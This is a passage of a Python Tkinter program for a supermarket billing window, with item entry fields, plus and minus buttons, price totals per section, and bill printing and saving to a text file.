bg='#0B4C5f', fg='white')\n        l3.place(x=10, y=140)\n        l4 = Label(F4, text='Element 4', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l4.place(x=10, y=178)\n        l5 = Label(F4, text='Element 5', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l5.place(x=10, y=220)\n        l6 = Label(F4, text='Element 6', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l6.place(x=10, y=260)\n        l7 = Label(F4, text='Element 7', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l7.place(x=10, y=305)\n        l8 = Label(F4, text='Element 8', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l8.place(x=10, y=345)\n        l9 = Label(F4, text='Element 9', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l9.place(x=10, y=385)\n        l10 = Label(F4, text='Element 1', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l10.place(x=10, y=425)\n        l11 = Label(F4, text='Element 2', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l11.place(x=10, y=465)\n        l12 = Label(F4, text='Element 3', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l12.place(x=10, y=505)\n        l13 = Label(F4, text='Element 4', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l13.place(x=10, y=545)\n        l14 = Label(F4, text='Element 6', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l14.place(x=10, y=585)\n        l15 = Label(F4, text='Element 7', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l15.place(x=10, y=625)\n\n        # ( Button )\n        lEnt1 = Entry(F4, textvariable=self.s1, width=12, justify='center')\n        lEnt1.place(x=105, y=50)\n\n        lBlus1 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addS1)\n        lBlus1.place(x=270, y=45)\n\n        lMin1 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subS1)\n        lMin1.place(x=220, y=45)\n\n        lEnt2 = Entry(F4, textvariable=self.s2, width=12, justify='center')\n        lEnt2.place(x=105, y=95)\n\n        lBlus2 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS2)\n        lBlus2.place(x=270, y=90)\n\n        lMin2 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS2)\n        lMin2.place(x=220, y=90)\n\n        lEnt3 = Entry(F4, textvariable=self.s3, width=12, justify='center')\n        lEnt3.place(x=105, y=140)\n\n        lBlus3 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS3)\n        lBlus3.place(x=270, y=133)\n\n        lMin3 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS3)\n        lMin3.place(x=220, y=133)\n\n        lEnt4 = Entry(F4, textvariable=self.s4, width=12, justify='center')\n        lEnt4.place(x=105, y=178)\n\n        lBlus4 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS4)\n        lBlus4.place(x=270, y=175)\n\n        lMin4 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS4)\n        lMin4.place(x=220, y=175)\n\n        lEnt5 = Entry(F4, textvariable=self.s5, width=12, justify='center')\n        lEnt5.place(x=105, y=220)\n\n        lBlus5 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS5)\n        lBlus5.place(x=270, y=215)\n\n        lMin5 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS5)\n        lMin5.place(x=220, y=215)\n\n        lEnt6 = Entry(F4, textvariable=self.s6, width=12, justify='center')\n        lEnt6.place(x=105, y=260)\n\n        lBlus6 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS6)\n        lBlus6.place(x=270, y=255)\n\n        lMin6 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS6)\n        lMin6.place(x=220, y=255)\n\n        lEnt7 = Entry(F4, textvariable=self.s7, width=12, justify='center')\n        lEnt7.place(x=105, y=305)\n\n        lBlus7 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS7)\n        lBlus7.place(x=270, y=298)\n\n        lMin7 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS7)\n        lMin7.place(x=220, y=298)\n\n        lEnt8 = Entry(F4, textvariable=self.s8, width=12, justify='center')\n        lEnt8.place(x=105, y=345)\n\n        lBlus8 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS8)\n        lBlus8.place(x=270, y=340)\n\n        lMin8 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS8)\n        lMin8.place(x=220, y=340)\n\n        lEnt9 = Entry(F4, textvariable=self.s9, width=12, justify='center')\n        lEnt9.place(x=105, y=385)\n\n        lBlus9 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS9)\n        lBlus9.place(x=270, y=380)\n\n        lMin9 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS9)\n        lMin9.place(x=220, y=380)\n\n        lEnt10 = Entry(F4, textvariable=self.s10, width=12, justify='center')\n        lEnt10.place(x=105, y=425)\n\n        lBlus10 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS10)\n        lBlus10.place(x=270, y=420)\n\n        lMin10 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS10)\n        lMin10.place(x=220, y=420)\n\n        lEnt11 = Entry(F4, textvariable=self.s11, width=12, justify='center')\n        lEnt11.place(x=105, y=465)\n\n        lBlus11 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS11)\n        lBlus11.place(x=270, y=460)\n\n        lMin11 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS11)\n        lMin11.place(x=220, y=460)\n\n        lEnt12 = Entry(F4, textvariable=self.s12, width=12, justify='center')\n        lEnt12.place(x=105, y=505)\n\n        lBlus12 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS12)\n        lBlus12.place(x=270, y=500)\n\n        lMin12 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS12)\n        lMin12.place(x=220, y=500)\n\n        lEnt13 = Entry(F4, textvariable=self.s13, width=12, justify='center')\n        lEnt13.place(x=105, y=545)\n\n        lBlus13 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS13)\n        lBlus13.place(x=270, y=540)\n\n        lMin13 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS13)\n        lMin13.place(x=220, y=540)\n\n        lEnt14 = Entry(F4, textvariable=self.s14, width=12, justify='center')\n        lEnt14.place(x=105, y=585)\n\n        lBlus14 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS14)\n        lBlus14.place(x=270, y=580)\n\n        lMin14 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS14)\n        lMin14.place(x=220, y=580)\n\n        lEnt15 = Entry(F4, textvariable=self.s15, width=12, justify='center')\n        lEnt15.place(x=105, y=625)\n\n        lBlus15 = Button(F4, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addS15)\n        lBlus15.place(x=270, y=620)\n\n        lMin15 = Button(F4, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subS15)\n        lMin15.place(x=220, y=620)\n\n        # ==========Items[2]=========================\n        F5 = Frame(root, width=320, height=660, bg='#0B4C5f')\n        F5.place(x=320, y=31)\n        text5 = Label(F5, text='Section 2', font=('tajawal', 15, 'bold'), bg='#0B4C5f', fg='silver')\n        text5.place(x=110, y=0)\n\n        h1 = Label(F5, text='Element 1', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h1.place(x=10, y=50)\n        h2 = Label(F5, text='Element 2', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h2.place(x=10, y=95)\n        h3 = Label(F5, text='Element 3', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h3.place(x=10, y=140)\n        h4 = Label(F5, text='Element 4', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h4.place(x=10, y=178)\n        h5 = Label(F5, text='Element 5', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h5.place(x=10, y=220)\n        h6 = Label(F5, text='Element 6', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h6.place(x=10, y=260)\n        h7 = Label(F5, text='Element 7', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h7.place(x=10, y=305)\n        h8 = Label(F5, text='Element 8', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h8.place(x=10, y=345)\n        h9 = Label(F5, text='Element 9', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h9.place(x=10, y=385)\n        h10 = Label(F5, text='Element 1', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h10.place(x=10, y=425)\n        h11 = Label(F5, text='Element 2', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h11.place(x=10, y=465)\n        h12 = Label(F5, text='Element 3', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h12.place(x=10, y=505)\n        h13 = Label(F5, text='Element 4', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h13.place(x=10, y=545)\n        h14 = Label(F5, text='Element 5', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h14.place(x=10, y=586)\n        h15 = Label(F5, text='Element 6', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        h15.place(x=10, y=625)\n\n        # Button\n        hEnt1 = Entry(F5, textvariable=self.ss1, width=12, justify='center')\n        hEnt1.place(x=105, y=50)\n\n        hBlus1 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSS1)\n        hBlus1.place(x=270, y=45)\n\n        hMin1 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSS1)\n        hMin1.place(x=220, y=45)\n\n        hEnt2 = Entry(F5, textvariable=self.ss2, width=12, justify='center')\n        hEnt2.place(x=105, y=95)\n\n        hBlus2 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS2)\n        hBlus2.place(x=270, y=90)\n\n        hMin2 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS2)\n        hMin2.place(x=220, y=90)\n\n        hEnt3 = Entry(F5, textvariable=self.ss3, width=12, justify='center')\n        hEnt3.place(x=105, y=140)\n\n        hBlus3 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS3)\n        hBlus3.place(x=270, y=133)\n\n        hMin3 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS3)\n        hMin3.place(x=220, y=133)\n\n        hEnt4 = Entry(F5, textvariable=self.ss4, width=12, justify='center')\n        hEnt4.place(x=105, y=178)\n\n        hBlus4 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS4)\n        hBlus4.place(x=270, y=175)\n\n        hMin4 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS4)\n        hMin4.place(x=220, y=175)\n\n        hEnt5 = Entry(F5, textvariable=self.ss5, width=12, justify='center')\n        hEnt5.place(x=105, y=220)\n\n        hBlus5 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS5)\n        hBlus5.place(x=270, y=215)\n\n        hMin5 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS5)\n        hMin5.place(x=220, y=215)\n\n        hEnt6 = Entry(F5, textvariable=self.ss6, width=12, justify='center')\n        hEnt6.place(x=105, y=260)\n\n        hBlus6 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS6)\n        hBlus6.place(x=270, y=255)\n\n        hMin6 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS6)\n        hMin6.place(x=220, y=255)\n\n        hEnt7 = Entry(F5, textvariable=self.ss7, width=12, justify='center')\n        hEnt7.place(x=105, y=305)\n\n        hBlus7 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS7)\n        hBlus7.place(x=270, y=298)\n\n        hMin7 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS7)\n        hMin7.place(x=220, y=298)\n\n        hEnt8 = Entry(F5, textvariable=self.ss8, width=12, justify='center')\n        hEnt8.place(x=105, y=345)\n\n        hBlus8 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS8)\n        hBlus8.place(x=270, y=340)\n\n        hMin8 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS8)\n        hMin8.place(x=220, y=340)\n\n        hEnt9 = Entry(F5, textvariable=self.ss9, width=12, justify='center')\n        hEnt9.place(x=105, y=385)\n\n        hBlus9 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS9)\n        hBlus9.place(x=270, y=380)\n\n        hMin9 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS9)\n        hMin9.place(x=220, y=380)\n\n        hEnt10 = Entry(F5, textvariable=self.ss10, width=12, justify='center')\n        hEnt10.place(x=105, y=425)\n\n        hBlus10 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS10)\n        hBlus10.place(x=270, y=420)\n\n        hMin10 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS10)\n        hMin10.place(x=220, y=420)\n\n        hEnt11 = Entry(F5, textvariable=self.ss11, width=12, justify='center')\n        hEnt11.place(x=105, y=465)\n\n        hBlus11 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS11)\n        hBlus11.place(x=270, y=460)\n\n        hMin11 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS11)\n        hMin11.place(x=220, y=460)\n\n        hEnt12 = Entry(F5, textvariable=self.ss12, width=12, justify='center')\n        hEnt12.place(x=105, y=505)\n\n        hBlus12 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS12)\n        hBlus12.place(x=270, y=500)\n\n        hMin12 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS12)\n        hMin12.place(x=220, y=500)\n\n        hEnt13 = Entry(F5, textvariable=self.ss13, width=12, justify='center')\n        hEnt13.place(x=105, y=545)\n\n        hBlus13 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS13)\n        hBlus13.place(x=270, y=540)\n\n        hMin13 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS13)\n        hMin13.place(x=220, y=540)\n\n        hEnt14 = Entry(F5, textvariable=self.ss14, width=12, justify='center')\n        hEnt14.place(x=105, y=585)\n\n        hBlus14 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS14)\n        hBlus14.place(x=270, y=580)\n\n        hMin14 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS14)\n        hMin14.place(x=220, y=580)\n\n        hEnt15 = Entry(F5, textvariable=self.ss15, width=12, justify='center')\n        hEnt15.place(x=105, y=625)\n\n        hBlus15 = Button(F5, text=\"+\", width=1, bd=3, bg=\"silver\", command=self.addSS15)\n        hBlus15.place(x=270, y=620)\n\n        hMin15 = Button(F5, text=\"-\", width=1, bd=3, bg=\"silver\", command=self.subSS15)\n        hMin15.place(x=220, y=620)\n\n        # =============ITEMS[3]============================\n        F6 = Frame(root, width=295, height=525, bg='#0B4C5f')\n        F6.place(x=642, y=31)\n        text6 = Label(F6, text='Section 3', font=('tajawal', 15, 'bold'), bg='#0B4C5f', fg='silver')\n        text6.place(x=110, y=0)\n\n        e1 = Label(F6, text='Element 1', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e1.place(x=5, y=50)\n        e2 = Label(F6, text='Element 2', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e2.place(x=5, y=95)\n        e3 = Label(F6, text='Element 3', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e3.place(x=5, y=140)\n        e4 = Label(F6, text='Element 4', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e4.place(x=5, y=178)\n        e5 = Label(F6, text='Element 5', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e5.place(x=5, y=220)\n        e6 = Label(F6, text='Element 6', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e6.place(x=5, y=260)\n        e7 = Label(F6, text='Element 7', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e7.place(x=5, y=305)\n        e8 = Label(F6, text='Element 8', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e8.place(x=5, y=345)\n        e9 = Label(F6, text='Element 9', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e9.place(x=5, y=385)\n        e10 = Label(F6, text='Element 1', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e10.place(x=5, y=425)\n        e11 = Label(F6, text='Element 2', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        e11.place(x=5, y=465)\n\n        # Button\n        eEnt1 = Entry(F6, textvariable=self.sss1, width=12, justify='center')\n        eEnt1.place(x=95, y=50)\n\n        eBlus1 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS1)\n        eBlus1.place(x=250, y=45)\n\n        eMin1 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS1)\n        eMin1.place(x=205, y=45)\n\n        eEnt2 = Entry(F6, textvariable=self.sss2, width=12, justify='center')\n        eEnt2.place(x=95, y=95)\n\n        eBlus2 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS2)\n        eBlus2.place(x=250, y=90)\n\n        eMin2 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS2)\n        eMin2.place(x=205, y=90)\n\n        eEnt3 = Entry(F6, textvariable=self.sss3, width=12, justify='center')\n        eEnt3.place(x=95, y=140)\n\n        eBlus3 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS3)\n        eBlus3.place(x=250, y=135)\n\n        eMin3 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS3)\n        eMin3.place(x=205, y=135)\n\n        eEnt4 = Entry(F6, textvariable=self.sss4, width=12, justify='center')\n        eEnt4.place(x=95, y=178)\n\n        eBlus4 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS4)\n        eBlus4.place(x=250, y=175)\n\n        eMin4 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS4)\n        eMin4.place(x=205, y=175)\n\n        eEnt5 = Entry(F6, textvariable=self.sss5, width=12, justify='center')\n        eEnt5.place(x=95, y=220)\n\n        eBlus5 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS5)\n        eBlus5.place(x=250, y=215)\n\n        eMin5 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS5)\n        eMin5.place(x=205, y=215)\n\n        eEnt6 = Entry(F6, textvariable=self.sss6, width=12, justify='center')\n        eEnt6.place(x=95, y=260)\n\n        eBlus6 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS6)\n        eBlus6.place(x=250, y=255)\n\n        eMin6 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS6)\n        eMin6.place(x=205, y=255)\n\n        eEnt7 = Entry(F6, textvariable=self.sss7, width=12, justify='center')\n        eEnt7.place(x=95, y=305)\n\n        eBlus7 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS7)\n        eBlus7.place(x=250, y=300)\n\n        eMin7 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS7)\n        eMin7.place(x=205, y=300)\n\n        eEnt8 = Entry(F6, textvariable=self.sss8, width=12, justify='center')\n        eEnt8.place(x=95, y=345)\n\n        eBlus8 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS8)\n        eBlus8.place(x=250, y=340)\n\n        eMin8 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS8)\n        eMin8.place(x=205, y=340)\n\n        eEnt9 = Entry(F6, textvariable=self.sss9, width=12, justify='center')\n        eEnt9.place(x=95, y=385)\n\n        eBlus9 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS9)\n        eBlus9.place(x=250, y=380)\n\n        eMin9 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS9)\n        eMin9.place(x=205, y=380)\n\n        eEnt10 = Entry(F6, textvariable=self.sss10, width=12, justify='center')\n        eEnt10.place(x=95, y=425)\n\n        eBlus10 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS10)\n        eBlus10.place(x=250, y=420)\n\n        eMin10 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS10)\n        eMin10.place(x=205, y=420)\n\n        eEnt11 = Entry(F6, textvariable=self.sss11, width=12, justify='center')\n        eEnt11.place(x=95, y=465)\n\n        eBlus11 = Button(F6, text=\"+\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.addSSS11)\n        eBlus11.place(x=250, y=460)\n\n        eMin11 = Button(F6, text=\"-\", width=1, bd=3, bg=\"silver\", activebackground=\"silver\", command=self.subSSS11)\n        eMin11.place(x=205, y=460)\n\n        self.welcome()\n\n    def total(self):\n        self.ts1 = self.s1.get() * 1.5\n        self.ts2 = self.s2.get() * 2\n        self.ts3 = self.s3.get() * 1.5\n        self.ts4 = self.s4.get() * 2\n        self.ts5 = self.s5.get() * 1.5\n        self.ts6 = self.s6.get() * 2\n        self.ts7 = self.s7.get() * 1.5\n        self.ts8 = self.s8.get() * 2\n        self.ts9 = self.s9.get() * 1.5\n        self.ts10 = self.s10.get() * 2\n        self.ts11 = self.s11.get() * 1.5\n        self.ts12 = self.s12.get() * 2\n        self.ts13 = self.s13.get() * 1.5\n        self.ts14 = self.s14.get() * 2\n        self.ts15 = self.s15.get() * 1.5\n\n        self.tsec1 = float(\n            self.ts1 +\n            self.ts2 +\n            self.ts3 +\n            self.ts4 +\n            self.ts5 +\n            self.ts6 +\n            self.ts7 +\n            self.ts8 +\n            self.ts9 +\n            self.ts10 +\n            self.ts11 +\n            self.ts12 +\n            self.ts13 +\n            self.ts14 +\n            self.ts15\n        )\n        self.section1.set(str(self.tsec1) + \" $ \")\n\n        self.tss1 = self.ss1.get() * 1.5\n        self.tss2 = self.ss2.get() * 2\n        self.tss3 = self.ss3.get() * 1.5\n        self.tss4 = self.ss4.get() * 2\n        self.tss5 = self.ss5.get() * 1.5\n        self.tss6 = self.ss6.get() * 2\n        self.tss7 = self.ss7.get() * 1.5\n        self.tss8 = self.ss8.get() * 2\n        self.tss9 = self.ss9.get() * 1.5\n        self.tss10 = self.ss10.get() * 2\n        self.tss11 = self.ss11.get() * 1.5\n        self.tss12 = self.ss12.get() * 2\n        self.tss13 = self.ss13.get() * 1.5\n        self.tss14 = self.ss14.get() * 2\n        self.tss15 = self.ss15.get() * 1.5\n\n        self.tsec2 = float(\n            self.tss1 +\n            self.tss2 +\n            self.tss3 +\n            self.tss4 +\n            self.tss5 +\n            self.tss6 +\n            self.tss7 +\n            self.tss8 +\n            self.tss9 +\n            self.tss10 +\n            self.tss11 +\n            self.tss12 +\n            self.tss13 +\n            self.tss14 +\n            self.tss15\n        )\n        self.section2.set(str(self.tsec2) + \" $ \")\n\n        self.tsss1 = self.sss1.get() * 1.5\n        self.tsss2 = self.sss2.get() * 2\n        self.tsss3 = self.sss3.get() * 1.5\n        self.tsss4 = self.sss4.get() * 2\n        self.tsss5 = self.sss5.get() * 1.5\n        self.tsss6 = self.sss6.get() * 2\n        self.tsss7 = self.sss7.get() * 1.5\n        self.tsss8 = self.sss8.get() * 2\n        self.tsss9 = self.sss9.get() * 1.5\n        self.tsss10 = self.sss10.get() * 2\n        self.tsss11 = self.sss11.get() * 1.5\n        self.tsec3 = float(\n            self.tsss1 +\n            self.tsss2 +\n            self.tsss3 +\n            self.tsss4 +\n            self.tsss5 +\n            self.tsss6 +\n            self.tsss7 +\n            self.tsss8 +\n            self.tsss9 +\n            self.tsss10 +\n            self.tsss11\n        )\n        self.section3.set(str(self.tsec3) + \" $ \")\n        self.all = float(self.tsec1 + self.tsec2 + self.tsec3)\n\n    def welcome(self):\n        # self.txtarea.delete('1.0', END)\n        self.txtarea.insert(END, \"   Welcome in your SuperMarket\")\n        self.txtarea.insert(END, \"\\n===============================\")\n        self.txtarea.insert(END, f\"\\n\\t B.NUM    : {self.bill.get()}\")\n        self.txtarea.insert(END, f\"\\n\\t Name     : {self.name.get()}\")\n        self.txtarea.insert(END, f\"\\n\\t PHONE    : {self.name.get()}\")\n        self.txtarea.insert(END, \"\\n===============================\")\n        self.txtarea.insert(END, f\"\\nPrice\\t    Conter\\t       Purchases\")\n        self.txtarea.insert(END, \"\\n==============================\")\n\n    def clear(self):\n        self.s1.set(0)\n        self.s2.set(0)\n        self.s3.set(0)\n        self.s4.set(0)\n        self.s5.set(0)\n        self.s6.set(0)\n        self.s7.set(0)\n        self.s8.set(0)\n        self.s9.set(0)\n        self.s10.set(0)\n        self.s11.set(0)\n        self.s12.set(0)\n        self.s13.set(0)\n        self.s14.set(0)\n        self.s15.set(0)\n\n        self.ss1.set(0)\n        self.ss2.set(0)\n        self.ss3.set(0)\n        self.ss4.set(0)\n        self.ss5.set(0)\n        self.ss6.set(0)\n        self.ss7.set(0)\n        self.ss8.set(0)\n        self.ss9.set(0)\n        self.ss10.set(0)\n        self.ss11.set(0)\n        self.ss12.set(0)\n        self.ss13.set(0)\n        self.ss14.set(0)\n        self.ss15.set(0)\n\n        self.sss1.set(0)\n        self.sss2.set(0)\n        self.sss3.set(0)\n        self.sss4.set(0)\n        self.sss5.set(0)\n        self.sss6.set(0)\n        self.sss7.set(0)\n        self.sss8.set(0)\n        self.sss9.set(0)\n        self.sss10.set(0)\n        self.sss11.set(0)\n        self.sss12.set(0)\n        self.sss13.set(0)\n        self.sss14.set(0)\n        self.sss15.set(0)\n\n        self.section1.set('')\n        self.section2.set('')\n        self.section3.set('')\n\n        self.name.set('')\n        self.phone.set('')\n        self.bill.set('')\n\n    def close(self):\n        self.root.destroy()\n\n    def save(self):\n        op = messagebox.askyesno(\" Save \", \" Do you want save the bill ? \")\n        if op > 0:\n            self.bb = self.txtarea.get(\"1.0\", END)\n            f1 = open('majidsaqr' + str(self.bill.get()) + \".txt\", \"w\", encoding=\"utf-8\")\n            f1.write(self.bb)\n            f1.close()\n        else:\n            return\n\n    def billl(self):\n\n        #         self.welcome()\n        if self.s1.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts1}\\t\\t{self.s1.get()}\\t\\tElement1 \")\n\n        if self.s2.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts2}\\t\\t{self.s2.get()}\\t\\tElement2 \")\n\n        if self.s3.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts3}\\t\\t{self.s3.get()}\\t\\tElement3 \")\n\n        if self.s4.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts4}\\t\\t{self.s4.get()}\\t\\tElement4 \")\n\n        if self.s5.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts5}\\t\\t{self.s5.get()}\\t\\tElement5 \")\n\n        if self.s6.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts6}\\t\\t{self.s6.get()}\\t\\tElement6 \")\n\n        if self.s7.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts7}\\t\\t{self.s7.get()}\\t\\tElement7 \")\n\n        if self.s8.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts8}\\t\\t{self.s8.get()}\\t\\tElement8 \")\n\n        if self.s9.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts9}\\t\\t{self.s9.get()}\\t\\tElement9 \")\n\n        if self.s10.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts10}\\t\\t{self.s10.get()}\\t\\tElement10 \")\n\n        if self.s11.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts11}\\t\\t{self.s11.get()}\\t\\tElement11 \")\n\n        if self.s12.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts12}\\t\\t{self.s12.get()}\\t\\tElement12 \")\n\n        if self.s13.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts13}\\t\\t{self.s13.get()}\\t\\tElement13 \")\n\n        if self.s14.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts14}\\t\\t{self.s14.get()}\\t\\tElement14 \")\n\n        if self.s15.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.ts15}\\t\\t{self.s15.get()}\\t\\tElement15 \")\n\n        if self.ss1.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss1}\\t\\t{self.ss1.get()}\\t\\tElement1 \")\n\n        if self.ss2.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss2}\\t\\t{self.ss2.get()}\\t\\tElement2 \")\n\n  